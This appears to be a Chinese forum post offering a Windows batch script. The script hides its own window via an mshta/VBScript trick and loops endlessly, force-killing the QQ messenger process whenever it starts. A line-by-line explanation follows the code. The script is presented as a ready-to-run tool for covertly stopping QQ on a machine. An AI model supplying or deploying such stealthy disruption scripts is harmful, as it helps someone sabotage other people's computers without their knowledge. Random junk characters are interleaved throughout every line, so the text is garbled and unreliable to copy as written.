|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
: M& k0 W- |1 `6 V( A& \新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。 ' X3 U( q% N) i6 H% x0 F) S
& A- c* e+ J! U@echo off
! Y" d% U- X( ^9 |, Wif "%1" == "h" goto begin
# x' Z4 @) [! p' T* Smshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
0 x9 f+ M+ Y" w$ D% W/ @; f3 X:begin 5 k5 f7 ^& C& j8 E- [+ X! y* E" L
tasklist |find /i "QQ.exe"
/ U" r4 L3 H4 x- K, v7 o# E Iif %errorlevel%==0 (goto killit) else (goto next) ; _5 l& c% q) b# t
:killit
: L5 j; d% j5 m/ ~0 ^( a9 F$ Itaskkill /f /im QQ.exe
/ A, ~7 H! B$ [4 t* O5 p:next ; p, c, g5 [; U, H& T1 G- ~; `
ping -n 3 127.t >nul 2>nul 2 Z s, ~4 J8 ]
goto begin
) X9 }5 y" r9 @- u: k5 |9 G( L- g4 n. @! {! K. E+ o
代码到此为止 m4 @) L7 o; h' ?3 V
讲解如下: # E0 R: w3 s- ]# F( g1 @; H2 Y; q
@echo off ------关闭回显
2 U' `6 w$ E& M8 M5 Cif "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
4 J6 B6 O! ]: smshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
. A6 n( h5 ^" y. E6 S:begin ------------定一段名begin
7 o0 t, l; i: [& o; K! wtasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
+ p* U' M9 @4 T/ |+ Hif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next # Y% b$ @$ _0 i$ ]" D/ C% s- l: t
:killit
, P( X5 u# h8 A- P4 V% ytaskkill /f /im QQ.exe----终结进程QQ.exe ' y) _9 o# J: W4 p( _
:next
7 Z8 V9 R( O. M( w$ C6 zping -n 3 127.t >nul 2>nul -----延迟一段时间 0 J3 k0 k' d8 _0 W% H+ E, d
goto begin--------------返回执行begin
2 v) W9 y1 u* _% d b1 }, Q" S |
|